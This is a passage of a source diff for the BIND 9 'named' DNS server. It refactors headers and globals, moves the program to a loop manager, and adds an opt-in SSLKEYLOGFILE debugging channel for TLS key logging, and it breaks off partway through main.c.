+EXTERN isc_loop_t *named_g_mainloop	      INIT(NULL);
+EXTERN isc_loopmgr_t *named_g_loopmgr	      INIT(NULL);
+EXTERN bool named_g_loopmgr_running	      INIT(false);
 EXTERN dns_dispatchmgr_t *named_g_dispatchmgr INIT(NULL);
 EXTERN unsigned int named_g_cpus_detected     INIT(1);
 
@@ -60,10 +65,8 @@ EXTERN bool named_g_run_done INIT(false);
  *         for really short timers, another for client timers, and one
  *         for zone timers.
  */
-EXTERN isc_timermgr_t *named_g_timermgr INIT(NULL);
-EXTERN isc_socketmgr_t *named_g_socketmgr INIT(NULL);
-EXTERN isc_nm_t *named_g_netmgr INIT(NULL);
-EXTERN cfg_parser_t *named_g_parser INIT(NULL);
+EXTERN isc_nm_t *named_g_netmgr	       INIT(NULL);
+EXTERN cfg_parser_t *named_g_parser    INIT(NULL);
 EXTERN cfg_parser_t *named_g_addparser INIT(NULL);
 EXTERN const char *named_g_version     INIT(PACKAGE_VERSION);
 EXTERN const char *named_g_product     INIT(PACKAGE_NAME);
@@ -75,40 +78,34 @@ EXTERN in_port_t named_g_port	       INIT(0);
 EXTERN in_port_t named_g_tlsport       INIT(0);
 EXTERN in_port_t named_g_httpsport     INIT(0);
 EXTERN in_port_t named_g_httpport      INIT(0);
-EXTERN isc_dscp_t named_g_dscp	       INIT(-1);
+
+EXTERN in_port_t named_g_http_listener_clients INIT(0);
+EXTERN in_port_t named_g_http_streams_per_conn INIT(0);
 
 EXTERN named_server_t *named_g_server INIT(NULL);
 
 /*
  * Logging.
  */
-EXTERN isc_log_t *named_g_lctx INIT(NULL);
+EXTERN isc_log_t *named_g_lctx		     INIT(NULL);
 EXTERN isc_logcategory_t *named_g_categories INIT(NULL);
-EXTERN isc_logmodule_t *named_g_modules INIT(NULL);
-EXTERN unsigned int named_g_debuglevel	INIT(0);
+EXTERN isc_logmodule_t *named_g_modules	     INIT(NULL);
+EXTERN unsigned int named_g_debuglevel	     INIT(0);
 
 /*
  * Current configuration information.
  */
-EXTERN cfg_obj_t *named_g_config INIT(NULL);
+EXTERN cfg_obj_t *named_g_config	   INIT(NULL);
 EXTERN const cfg_obj_t *named_g_defaults   INIT(NULL);
 EXTERN const char *named_g_conffile	   INIT(NAMED_SYSCONFDIR "/named.conf");
-EXTERN const char *named_g_defaultbindkeys INIT(NAMED_SYSCONFDIR "/bind.keys");
+EXTERN const char *named_g_defaultbindkeys INIT(NULL);
 EXTERN const char *named_g_keyfile	   INIT(NAMED_SYSCONFDIR "/rndc.key");
 
-EXTERN dns_tsigkey_t *named_g_sessionkey INIT(NULL);
-EXTERN dns_name_t			 named_g_sessionkeyname;
-EXTERN bool named_g_conffileset		 INIT(false);
+EXTERN dns_tsigkey_t *named_g_sessionkey    INIT(NULL);
+EXTERN dns_name_t			    named_g_sessionkeyname;
+EXTERN bool named_g_conffileset		    INIT(false);
 EXTERN cfg_aclconfctx_t *named_g_aclconfctx INIT(NULL);
 
-/*
- * Initial resource limits.
- */
-EXTERN isc_resourcevalue_t named_g_initstacksize INIT(0);
-EXTERN isc_resourcevalue_t named_g_initdatasize	 INIT(0);
-EXTERN isc_resourcevalue_t named_g_initcoresize	 INIT(0);
-EXTERN isc_resourcevalue_t named_g_initopenfiles INIT(0);
-
 /*
  * Misc.
  */
@@ -159,5 +156,3 @@ EXTERN dns_acl_t *named_g_mapped INIT(NULL);
 
 #undef EXTERN
 #undef INIT
-
-#endif /* NAMED_GLOBALS_H */
diff --git a/bin/named/include/named/log.h b/bin/named/include/named/log.h
index cf43d1c47c..f18e93a17f 100644
--- a/bin/named/include/named/log.h
+++ b/bin/named/include/named/log.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_LOG_H
-#define NAMED_LOG_H 1
+#pragma once
 
 /*! \file */
 
@@ -59,6 +60,14 @@ named_log_setsafechannels(isc_logconfig_t *lcfg);
  * Like named_log_setdefaultchannels(), but omits any logging to files.
  */
 
+void
+named_log_setdefaultsslkeylogfile(isc_logconfig_t *lcfg);
+/*%
+ * If the SSLKEYLOGFILE environment variable is set, sets up a default
+ * logging channel for writing TLS pre-master secrets to the path stored
+ * in that environment variable (for debugging purposes).
+ */
+
 isc_result_t
 named_log_setdefaultcategory(isc_logconfig_t *lcfg);
 /*%
@@ -73,5 +82,3 @@ named_log_setunmatchedcategory(isc_logconfig_t *lcfg);
 
 void
 named_log_shutdown(void);
-
-#endif /* NAMED_LOG_H */
diff --git a/bin/named/include/named/logconf.h b/bin/named/include/named/logconf.h
index 216a882f58..65add46007 100644
--- a/bin/named/include/named/logconf.h
+++ b/bin/named/include/named/logconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_LOGCONF_H
-#define NAMED_LOGCONF_H 1
+#pragma once
 
 /*! \file */
 
@@ -22,5 +23,3 @@ named_logconfig(isc_logconfig_t *logconf, const cfg_obj_t *logstmt);
  * Set up the logging configuration in '*logconf' according to
  * the named.conf data in 'logstmt'.
  */
-
-#endif /* NAMED_LOGCONF_H */
diff --git a/bin/named/include/named/main.h b/bin/named/include/named/main.h
index eae85df8f7..bed5dd9787 100644
--- a/bin/named/include/named/main.h
+++ b/bin/named/include/named/main.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,9 +24,9 @@
 /*
  * Commandline arguments for named;
  */
-#define NAMED_MAIN_ARGS "46A:c:d:D:E:fFgL:M:m:n:N:p:sS:t:T:U:u:vVx:X:"
+#define NAMED_MAIN_ARGS "46A:c:Cd:D:E:fFgL:M:m:n:N:p:sS:t:T:U:u:vVx:X:"
 
-ISC_NORETURN void
+noreturn void
 named_main_earlyfatal(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
 void
@@ -32,3 +34,6 @@ named_main_earlywarning(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
 void
 named_main_setmemstats(const char *);
+
+void
+named_main_shutdown(void *arg, int signum);
diff --git a/bin/named/include/named/os.h b/bin/named/include/named/os.h
index 3ae48adc24..0f7c1c5385 100644
--- a/bin/named/include/named/os.h
+++ b/bin/named/include/named/os.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_OS_H
-#define NAMED_OS_H 1
+#pragma once
 
 /*! \file */
 
@@ -61,9 +62,6 @@ named_os_issingleton(const char *filename);
 void
 named_os_shutdown(void);
 
-isc_result_t
-named_os_gethostname(char *buf, size_t len);
-
 void
 named_os_shutdownmsg(char *command, isc_buffer_t *text);
 
@@ -75,5 +73,3 @@ named_os_started(void);
 
 const char *
 named_os_uname(void);
-
-#endif /* NAMED_OS_H */
diff --git a/bin/named/include/named/server.h b/bin/named/include/named/server.h
index 1628077677..509101f277 100644
--- a/bin/named/include/named/server.h
+++ b/bin/named/include/named/server.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_SERVER_H
-#define NAMED_SERVER_H 1
+#pragma once
 
 /*! \file */
 
@@ -20,7 +21,9 @@
 #include <isc/log.h>
 #include <isc/magic.h>
 #include <isc/quota.h>
+#include <isc/signal.h>
 #include <isc/sockaddr.h>
+#include <isc/tls.h>
 #include <isc/types.h>
 
 #include <dns/acl.h>
@@ -35,44 +38,35 @@
 
 #include <named/types.h>
 
-#define NAMED_EVENTCLASS    ISC_EVENTCLASS(0x4E43)
-#define NAMED_EVENT_RELOAD  (NAMED_EVENTCLASS + 0)
-#define NAMED_EVENT_DELZONE (NAMED_EVENTCLASS + 1)
-#define NAMED_EVENT_COMMAND (NAMED_EVENTCLASS + 2)
-#define NAMED_EVENT_TATSEND (NAMED_EVENTCLASS + 3)
-
 /*%
  * Name server state.  Better here than in lots of separate global variables.
  */
 struct named_server {
 	unsigned int magic;
-	isc_mem_t *  mctx;
+	isc_mem_t   *mctx;
 
 	ns_server_t *sctx;
 
-	isc_task_t *task;
-
 	char *statsfile;    /*%< Statistics file name */
 	char *dumpfile;	    /*%< Dump file name */
 	char *secrootsfile; /*%< Secroots file name */
-	char *bindkeysfile; /*%< bind.keys file name
-			     * */
+	char *bindkeysfile; /*%< bind.keys file name */
 	char *recfile;	    /*%< Recursive file name */
-	bool  version_set;  /*%< User has set version
-			     * */
+	bool  version_set;  /*%< User has set version */
 	char *version;	    /*%< User-specified version */
-	bool  hostname_set; /*%< User has set hostname
-			     * */
-	char *hostname;	    /*%< User-specified hostname
-			     * */
+	bool  hostname_set; /*%< User has set hostname */
+	char *hostname;	    /*%< User-specified hostname */
+#ifdef USE_DNSRPS
+	char *dnsrpslib;
+#endif /* ifdef USE_DNSRPS */
 
 	/* Server data structures. */
-	dns_loadmgr_t *	   loadmgr;
-	dns_zonemgr_t *	   zonemgr;
+	dns_loadmgr_t	  *loadmgr;
+	dns_zonemgr_t	  *zonemgr;
 	dns_viewlist_t	   viewlist;
 	dns_kasplist_t	   kasplist;
 	ns_interfacemgr_t *interfacemgr;
-	dns_db_t *	   in_roothints;
+	dns_db_t	  *in_roothints;
 
 	isc_timer_t *interface_timer;
 	isc_timer_t *heartbeat_timer;
@@ -92,15 +86,15 @@ struct named_server {
 	isc_stats_t *resolverstats;  /*% Resolver stats */
 	isc_stats_t *sockstats;	     /*%< Socket stats */
 
-	named_controls_t *   controls; /*%< Control channels */
+	named_controls_t    *controls; /*%< Control channels */
 	unsigned int	     dispatchgen;
 	named_dispatchlist_t dispatches;
 
 	named_statschannellist_t statschannels;
 
-	dns_tsigkey_t *sessionkey;
-	char *	       session_keyfile;
-	dns_name_t *   session_keyname;
+	dst_key_t     *sessionkey;
+	char	      *session_keyfile;
+	dns_name_t    *session_keyname;
 	unsigned int   session_keyalg;
 	uint16_t       session_keybits;
 	bool	       interface_auto;
@@ -110,6 +104,11 @@ struct named_server {
 	dns_dtenv_t *dtenv; /*%< Dnstap environment */
 
 	char *lockfile;
+
+	isc_tlsctx_cache_t *tlsctx_server_cache;
+	isc_tlsctx_cache_t *tlsctx_client_cache;
+
+	isc_signal_t *sighup;
 };
 
 #define NAMED_SERVER_MAGIC    ISC_MAGIC('S', 'V', 'E', 'R')
@@ -130,7 +129,7 @@ named_server_destroy(named_server_t **serverp);
  */
 
 void
-named_server_reloadwanted(named_server_t *server);
+named_server_reloadwanted(void *arg, int signum);
 /*%<
  * Inform a server that a reload is wanted.  This function
  * may be called asynchronously, from outside the server's task.
@@ -250,19 +249,6 @@ named_server_flushnode(named_server_t *server, isc_lex_t *lex, bool tree);
 isc_result_t
 named_server_status(named_server_t *server, isc_buffer_t **text);
 
-/*%
- * Report a list of dynamic and static tsig keys, per view.
- */
-isc_result_t
-named_server_tsiglist(named_server_t *server, isc_buffer_t **text);
-
-/*%
- * Delete a specific key (with optional view).
- */
-isc_result_t
-named_server_tsigdelete(named_server_t *server, isc_lex_t *lex,
-			isc_buffer_t **text);
-
 /*%
  * Enable or disable updates for a zone.
  */
@@ -292,12 +278,6 @@ named_server_rekey(named_server_t *server, isc_lex_t *lex, isc_buffer_t **text);
 isc_result_t
 named_server_dumprecursing(named_server_t *server);
 
-/*%
- * Maintain a list of dispatches that require reserved ports.
- */
-void
-named_add_reserved_dispatch(named_server_t *server, const isc_sockaddr_t *addr);
-
 /*%
  * Enable or disable dnssec validation.
  */
@@ -390,4 +370,9 @@ isc_result_t
 named_server_servestale(named_server_t *server, isc_lex_t *lex,
 			isc_buffer_t **text);
 
-#endif /* NAMED_SERVER_H */
+/*%
+ * Report fetch-limited ADB server addresses.
+ */
+isc_result_t
+named_server_fetchlimit(named_server_t *server, isc_lex_t *lex,
+			isc_buffer_t **text);
diff --git a/bin/named/include/named/smf_globals.h b/bin/named/include/named/smf_globals.h
index 850f6d3c91..b052822bfa 100644
--- a/bin/named/include/named/smf_globals.h
+++ b/bin/named/include/named/smf_globals.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_SMF_GLOBALS_H
-#define NAMED_SMF_GLOBALS_H 1
+#pragma once
 
 #include <libscf.h>
 
@@ -35,5 +36,3 @@ named_smf_get_instance(char **name, int debug, isc_mem_t *mctx);
 
 #undef EXTERN
 #undef INIT
-
-#endif /* NAMED_SMF_GLOBALS_H */
diff --git a/bin/named/include/named/statschannel.h b/bin/named/include/named/statschannel.h
index 9779d336d8..8cce67083a 100644
--- a/bin/named/include/named/statschannel.h
+++ b/bin/named/include/named/statschannel.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,17 +11,17 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_STATSCHANNEL_H
-#define NAMED_STATSCHANNEL_H 1
+#pragma once
 
 /*! \file
  * \brief
  * The statistics channels built-in the name server.
  */
 
+#include <isccc/types.h>
+
 #include <isccfg/aclconf.h>
 
-#include <isccc/types.h>
 #include <named/types.h>
 
 #define NAMED_STATSCHANNEL_HTTPPORT 80
@@ -48,5 +50,3 @@ named_stats_dump(named_server_t *server, FILE *fp);
 /*%<
  * Dump statistics counters managed by the server to the file fp.
  */
-
-#endif /* NAMED_STATSCHANNEL_H */
diff --git a/bin/named/include/named/tkeyconf.h b/bin/named/include/named/tkeyconf.h
index 968b09dd70..79639d625a 100644
--- a/bin/named/include/named/tkeyconf.h
+++ b/bin/named/include/named/tkeyconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_TKEYCONF_H
-#define NAMED_TKEYCONF_H 1
+#pragma once
 
 /*! \file */
 
@@ -40,5 +41,3 @@ named_tkeyctx_fromconfig(const cfg_obj_t *options, isc_mem_t *mctx,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* NAMED_TKEYCONF_H */
diff --git a/bin/named/include/named/transportconf.h b/bin/named/include/named/transportconf.h
index 03142671f6..1e472ff45f 100644
--- a/bin/named/include/named/transportconf.h
+++ b/bin/named/include/named/transportconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/bin/named/include/named/tsigconf.h b/bin/named/include/named/tsigconf.h
index 27edf48c8c..240eebe130 100644
--- a/bin/named/include/named/tsigconf.h
+++ b/bin/named/include/named/tsigconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_TSIGCONF_H
-#define NAMED_TSIGCONF_H 1
+#pragma once
 
 /*! \file */
 
@@ -21,7 +22,7 @@ ISC_LANG_BEGINDECLS
 
 isc_result_t
 named_tsigkeyring_fromconfig(const cfg_obj_t *config, const cfg_obj_t *vconfig,
-			     isc_mem_t *mctx, dns_tsig_keyring_t **ringp);
+			     isc_mem_t *mctx, dns_tsigkeyring_t **ringp);
 /*%<
  * Create a TSIG key ring and configure it according to the 'key'
  * statements in the global and view configuration objects.
@@ -38,5 +39,3 @@ named_tsigkeyring_fromconfig(const cfg_obj_t *config, const cfg_obj_t *vconfig,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* NAMED_TSIGCONF_H */
diff --git a/bin/named/include/named/types.h b/bin/named/include/named/types.h
index e7c4296dd9..585c14141d 100644
--- a/bin/named/include/named/types.h
+++ b/bin/named/include/named/types.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_TYPES_H
-#define NAMED_TYPES_H 1
+#pragma once
 
 /*! \file */
 
@@ -35,5 +36,3 @@ typedef enum {
 	NAMED_RELOAD_IN_PROGRESS,
 	NAMED_RELOAD_FAILED,
 } named_reload_t;
-
-#endif /* NAMED_TYPES_H */
diff --git a/bin/named/include/named/zoneconf.h b/bin/named/include/named/zoneconf.h
index fadb3e1f38..dbecd4a79e 100644
--- a/bin/named/include/named/zoneconf.h
+++ b/bin/named/include/named/zoneconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef NAMED_ZONECONF_H
-#define NAMED_ZONECONF_H 1
+#pragma once
 
 /*! \file */
 
@@ -45,7 +46,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 bool
 named_zone_reusable(dns_zone_t *zone, const cfg_obj_t *zconfig,
 		    const cfg_obj_t *vconfig, const cfg_obj_t *config,
-		    cfg_aclconfctx_t *actx);
+		    dns_kasplist_t *kasplist);
 /*%<
  * If 'zone' can be safely reconfigured according to the configuration
  * data in 'zconfig', return true.  If the configuration data is so
@@ -54,12 +55,12 @@ named_zone_reusable(dns_zone_t *zone, const cfg_obj_t *zconfig,
  */
 
 bool
-named_zone_inlinesigning(dns_zone_t *zone, const cfg_obj_t *zconfig,
-			 const cfg_obj_t *vconfig, const cfg_obj_t *config,
-			 cfg_aclconfctx_t *actx);
+named_zone_inlinesigning(const cfg_obj_t *zconfig, const cfg_obj_t *vconfig,
+			 const cfg_obj_t *config, dns_kasplist_t *kasplist);
 /*%<
  * Determine if zone uses inline-signing. This is true if inline-signing
- * is set to yes, or if there is a dnssec-policy on a non-dynamic zone.
+ * is set to yes, in the zone clause or in the zone's dnssec-policy clause.
+ * By default, dnssec-policy uses inline-signing.
  */
 
 isc_result_t
@@ -77,5 +78,3 @@ named_zone_configure_writeable_dlz(dns_dlzdb_t *dlzdatabase, dns_zone_t *zone,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* NAMED_ZONECONF_H */
diff --git a/bin/named/log.c b/bin/named/log.c
index 2ae9282f96..d25382d89a 100644
--- a/bin/named/log.c
+++ b/bin/named/log.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,7 +13,10 @@
 
 /*! \file */
 
+#include <stdlib.h>
+
 #include <isc/result.h>
+#include <isc/util.h>
 
 #include <dns/log.h>
 
@@ -46,6 +51,7 @@ isc_result_t
 named_log_init(bool safe) {
 	isc_result_t result;
 	isc_logconfig_t *lcfg = NULL;
+	isc_mem_t *log_mctx = NULL;
 
 	named_g_categories = categories;
 	named_g_modules = modules;
@@ -53,7 +59,10 @@ named_log_init(bool safe) {
 	/*
 	 * Setup a logging context.
 	 */
-	isc_log_create(named_g_mctx, &named_g_lctx, &lcfg);
+	isc_mem_create(&log_mctx);
+	isc_mem_setname(log_mctx, "named_log");
+	isc_log_create(log_mctx, &named_g_lctx, &lcfg);
+	isc_mem_detach(&log_mctx);
 
 	/*
 	 * named-checktool.c:setup_logging() needs to be kept in sync.
@@ -78,6 +87,8 @@ named_log_init(bool safe) {
 		goto cleanup;
 	}
 
+	named_log_setdefaultsslkeylogfile(lcfg);
+
 	return (ISC_R_SUCCESS);
 
 cleanup:
@@ -167,6 +178,42 @@ named_log_setsafechannels(isc_logconfig_t *lcfg) {
 #endif /* if ISC_FACILITY != LOG_DAEMON */
 }
 
+/*
+ * If the SSLKEYLOGFILE environment variable is set, TLS pre-master secrets are
+ * logged (for debugging purposes) to the file whose path is provided in that
+ * variable.  Set up a default logging channel which maintains up to 10 files
+ * containing TLS pre-master secrets, each up to 100 MB in size.  If the
+ * SSLKEYLOGFILE environment variable is set to the string "config", suppress
+ * creation of the default channel, allowing custom logging channel
+ * configuration for TLS pre-master secrets to be provided via the "logging"
+ * stanza in the configuration file.
+ */
+void
+named_log_setdefaultsslkeylogfile(isc_logconfig_t *lcfg) {
+	const char *sslkeylogfile_path = getenv("SSLKEYLOGFILE");
+	isc_logdestination_t destination = {
+		.file = {
+			.name = sslkeylogfile_path,
+			.versions = 10,
+			.suffix = isc_log_rollsuffix_timestamp,
+			.maximum_size = 100 * 1024 * 1024,
+		},
+	};
+	isc_result_t result;
+
+	if (sslkeylogfile_path == NULL ||
+	    strcmp(sslkeylogfile_path, "config") == 0)
+	{
+		return;
+	}
+
+	isc_log_createchannel(lcfg, "default_sslkeylogfile", ISC_LOG_TOFILE,
+			      ISC_LOG_INFO, &destination, 0);
+	result = isc_log_usechannel(lcfg, "default_sslkeylogfile",
+				    ISC_LOGCATEGORY_SSLKEYLOG, NULL);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+}
+
 isc_result_t
 named_log_setdefaultcategory(isc_logconfig_t *lcfg) {
 	isc_result_t result = ISC_R_SUCCESS;
diff --git a/bin/named/logconf.c b/bin/named/logconf.c
index 4aae8ca239..01151de8b8 100644
--- a/bin/named/logconf.c
+++ b/bin/named/logconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,8 +17,6 @@
 #include <stdbool.h>
 
 #include <isc/file.h>
-#include <isc/offset.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
@@ -144,14 +144,14 @@ channel_fromconf(const cfg_obj_t *channel, isc_logconfig_t *logconfig) {
 		const cfg_obj_t *suffixobj = cfg_tuple_get(fileobj, "suffix");
 		int32_t versions = ISC_LOG_ROLLNEVER;
 		isc_log_rollsuffix_t suffix = isc_log_rollsuffix_increment;
-		isc_offset_t size = 0;
+		off_t size = 0;
 		uint64_t maxoffset;
 
 		/*
-		 * isc_offset_t is a signed integer type, so the maximum
+		 * off_t is a signed integer type, so the maximum
 		 * value is all 1s except for the MSB.
 		 */
-		switch (sizeof(isc_offset_t)) {
+		switch (sizeof(off_t)) {
 		case 4:
 			maxoffset = 0x7fffffffULL;
 			break;
@@ -159,8 +159,7 @@ channel_fromconf(const cfg_obj_t *channel, isc_logconfig_t *logconfig) {
 			maxoffset = 0x7fffffffffffffffULL;
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
 		type = ISC_LOG_TOFILE;
@@ -177,7 +176,7 @@ channel_fromconf(const cfg_obj_t *channel, isc_logconfig_t *logconfig) {
 		if (sizeobj != NULL && cfg_obj_isuint64(sizeobj) &&
 		    cfg_obj_asuint64(sizeobj) < maxoffset)
 		{
-			size = (isc_offset_t)cfg_obj_asuint64(sizeobj);
+			size = (off_t)cfg_obj_asuint64(sizeobj);
 		}
 		if (suffixobj != NULL && cfg_obj_isstring(suffixobj) &&
 		    strcasecmp(cfg_obj_asstring(suffixobj), "timestamp") == 0)
@@ -299,10 +298,6 @@ channel_fromconf(const cfg_obj_t *channel, isc_logconfig_t *logconfig) {
 					       dest.file.name,
 					       isc_result_totext(result));
 				}
-				fprintf(stderr,
-					"isc_stdio_open '%s' failed: %s\n",
-					dest.file.name,
-					isc_result_totext(result));
 			} else {
 				(void)isc_stdio_close(fp);
 			}
@@ -312,8 +307,6 @@ channel_fromconf(const cfg_obj_t *channel, isc_logconfig_t *logconfig) {
 			syslog(LOG_ERR, "isc_file_isplainfile '%s' failed: %s",
 			       dest.file.name, isc_result_totext(result));
 		}
-		fprintf(stderr, "isc_file_isplainfile '%s' failed: %s\n",
-			dest.file.name, isc_result_totext(result));
 	}
 
 done:
@@ -332,6 +325,7 @@ named_logconfig(isc_logconfig_t *logconfig, const cfg_obj_t *logstmt) {
 
 	if (logconfig != NULL) {
 		named_log_setdefaultchannels(logconfig);
+		named_log_setdefaultsslkeylogfile(logconfig);
 	}
 
 	(void)cfg_map_get(logstmt, "channel", &channels);
diff --git a/bin/named/main.c b/bin/named/main.c
index d595e3eef8..50c5d786cb 100644
--- a/bin/named/main.c
+++ b/bin/named/main.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,50 +15,41 @@
 
 #include <ctype.h>
 #include <inttypes.h>
+#include <locale.h>
 #include <stdbool.h>
 #include <stdlib.h>
 #include <string.h>
-#include <uv.h>
 
 #ifdef HAVE_DNSTAP
 #include <protobuf-c/protobuf-c.h>
 #endif
 
-#include <isc/app.h>
 #include <isc/attributes.h>
 #include <isc/backtrace.h>
 #include <isc/commandline.h>
 #include <isc/dir.h>
 #include <isc/file.h>
+#include <isc/fips.h>
 #include <isc/hash.h>
-#include <isc/hp.h>
 #include <isc/httpd.h>
 #include <isc/managers.h>
 #include <isc/netmgr.h>
 #include <isc/os.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/resource.h>
+#include <isc/result.h>
+#include <isc/signal.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/timer.h>
 #include <isc/util.h>
+#include <isc/uv.h>
+#include <isc/xml.h>
 
 #include <dns/dispatch.h>
 #include <dns/dyndb.h>
 #include <dns/name.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/view.h>
 
-#include <dst/result.h>
-
-#include <isccc/result.h>
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include <dlz/dlz_dlopen_driver.h>
 
 #ifdef HAVE_GPERFTOOLS_PROFILER
@@ -93,7 +86,12 @@
 #endif /* ifdef HAVE_LIBSCF */
 
 #include <openssl/crypto.h>
+#include <openssl/evp.h>
 #include <openssl/opensslv.h>
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+#include <openssl/err.h>
+#include <openssl/provider.h>
+#endif
 #ifdef HAVE_LIBXML2
 #include <libxml/parser.h>
 #include <libxml/xmlversion.h>
@@ -101,30 +99,26 @@
 #ifdef HAVE_ZLIB
 #include <zlib.h>
 #endif /* ifdef HAVE_ZLIB */
+#ifdef HAVE_LIBNGHTTP2
 #include <nghttp2/nghttp2.h>
-/*
- * Include header files for database drivers here.
- */
-/* #include "xxdb.h" */
+#endif
 
-#ifdef CONTRIB_DLZ
